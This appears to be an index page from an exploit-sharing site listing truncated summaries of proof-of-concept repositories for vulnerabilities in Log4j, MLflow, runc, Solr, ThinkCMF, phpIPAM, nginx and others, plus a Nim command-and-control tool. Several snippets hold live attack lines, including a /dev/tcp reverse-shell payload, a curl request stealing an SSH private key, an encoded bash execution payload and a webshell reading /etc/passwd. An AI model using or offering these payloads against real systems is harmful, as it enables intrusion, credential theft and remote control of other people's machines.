CVE-2021-44228

CVE-2021-44228-POC Otro POC de CVE-2021-44228 Versiones de Log4j afectadas: desde 2.0-beta9 hasta 2.14.1 Prerrequisitos Java utilizado: OpenJDK 11 https://jdk.java.net/archive/ Maven necesario para compilar las aplicaciones en este repositorio alternativamente, descargue los archivos jar preparad...

wafparan01d3

Quick WAF "paranoid" Doctor Evaluation WAFPARAN01D3 The Web Application Firewall Paranoia Level Test Tool. — Fromalt3kx.github.io -blue.svg Introduction to Paranoia Levels In essence, the Paranoia Level PL allows you to define how aggressive the Core Rule Set is. Reference:...

phpipam_1.4.4

CVE-2022-23046 phpIPAM 1.4.4 - SQL Injection phpIPAM v1.4.4 allows an authenticated admin user to inject SQL sentences in the subnet parameter while searching a subnet via app/admin/routing/edit-bgp-mapping-search.php. This project currently prints out database information and host version...

CVE-2023-1177

CVE-2023-1177 | | MLFlow Path Traversal | Tested on MLflow 2.2.0 | src: https://github.com/iumiro/CVE-2023-1177-MLFlow | .. code-block:: bash !/bin/bash RAND="EXPLOIT-$1+$RANDOM%9999" URL="http://172.17.0.2:6001" FILE='/root/.ssh/idrsa' curl -vX POST...

CVE-2026-42533-POC

CVE-2026-42533 Pre-auth heap buffer overflow and heap information leak in nginx, caused by missing save/restore of PCRE capture state across the two passes of the script engine. A regex map variable evaluated between two capture references overwrites r-captures, so the LEN pass and the VALUE pass...

grc2

nimc2 This software is in very early development stages and you might run into many issues using it nimc2 is a very lightweight C2 written fully in nim. It's uses range from user support to employee monitoring. If you want to give it a try check out the wiki to learn how to install and use nimc2...

grc2

nimc2 Este software se encuentra en etapas muy tempranas de desarrollo y es posible que encuentres muchos problemas al usarlo nimc2 es un C2 muy ligero escrito completamente en nim. Sus usos van desde soporte al usuario hasta monitoreo de empleados. Si quieres probarlo, consulta la wiki para...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

CVE-2019-19945_Test

CVE-2019-19945Test This is the code for the first Proposed CVE 1. Install Docker 2. Build & RUN Server cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. Get Server Container IP Linux sudo docker container inspect server | grep -i IPAddress Windows Powershel...

webuploader-0.1.15-Demo

webuploader-v-0.1.15 组件存在文件上传漏洞未授权 简介：百度WebUploader组件存在文件上传漏洞。该漏洞是由于WebUploader组件上传页面对文件类型或文件扩展名过滤不严所致，攻击者可利用漏洞直接上传或简单绕过限制上传脚本文件，执行系统命令，获取网站服务器权限。 server/preview.php root@kitploit: if pregmatch"^data:image/\w+;base64,.$", $src, $matches $previewUrl = sprintf "%s://%s%s", isset$SERVER'HTTPS' &&...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

CVE-2019-1388

CVE-2019-1388 guest→System UAC manual privilege escalation, gif is a bit slow, please wait References http://www.svenbeast.com/post/OsMblUp6w/ https://github.com/Lz1y/imggo...

SpringBoot_Actuator_RCE

swagger-ui Interface /swagger-ui.html SpringBoot env: Obtaining Sensitive Information Masked with Part 1 When we directly visit the springboot site, we can see that some password fields are filled with 1. Plaintext fields can be obtained via $name 2. Misconfiguration leads to sensitive informatio...

blanket

blanket Blanket is a sandbox escape targeting iOS 11.2.6, although the main vulnerability was only patched in iOS 11.4.1. It exploits a Mach port replacement vulnerability in launchd CVE-2018-4280, as well as several smaller vulnerabilities in other services, to execute code inside the ReportCras...

blanket

blanket Blanket 是一个针对 iOS 11.2.6 的沙盒逃逸工具，尽管其主漏洞直到 iOS 11.4.1 才被修补。它利用 launchd 中的一个 Mach 端口替换漏洞（CVE-2018-4280），以及其他服务中的几个较小漏洞，在 ReportCrash 进程内执行代码。该进程不受沙盒限制，以 root 身份运行，并拥有 taskforpid-allow 权限。这便授予了对手机上每个进程的全面控制权，包括像 amfid 这样的安全关键进程。 该漏洞利用包含多个阶段。本 README 将逐步解释主要漏洞以及沙盒逃逸的各阶段。 冒充系统服务 在研究 iOS...

solr_rce

Apache Solr RCE via Velocity template python usage: python solrrce.py http://x.x.x.x:8983 command getshell encode payload http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 solr简介 Solr是Apache Lucene项目的开源企业搜索平台。...

Ubuntu-0day

Ubuntu16.04-0day 漏洞范围： all 4.4 ubuntu aws instances are vulnerable Jann Horn发现在某些情况下，Linux内核中的Berkeley Packet Filter（BPF）不正确地执行了符号扩展checkaluop。本地攻击者可以使用它在系统上进行提权,获取root权限。 root@kitploit: bpf: fix incorrect sign extension in checkaluop Distinguish between BPFALU64|BPFMOV|BPFK load 32-bit immediate...

2024InformationSecurityEngineer

2024InformationSecurityEngineer 2024 Information Security Engineer, 2024InformationSecurityEngineer 2024 Second Half - Information Security Engineer Exam Question Recollection Soft Exam - Exam Date : 2024年11月08日 1. Firewall Packet Capture 14 points 1. Packet length 2 points Answer: 63 2. Is it a...

ThinkCMF_getshell

ThinkCMFgetshell 框架上的任意内容包含漏洞 远程攻击者在无需任何权限情况下，通过构造特定的请求包即可在远程服务器上执行任意代码。 python usage: + python ThinkCMFgetshell.py http://x.x.x.x/ root@kitploit: python ThinkCMFgetshell.py https://x.x.x.x/ nginx PHP/7.0.19 Shell url: https://x.x.x.x/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=cat /etc/passwd...

CVE-2024-4040

Exploit Code for CVE-2024-4040 Overview This exploit code targets the CVE-2024-4040 vulnerability, allowing unauthorized access to user accounts by reading and validating tokens stored in the "sessions.obj" file. If the tokens are valid, hackers can gain entry to the targeted accounts. Unlike oth...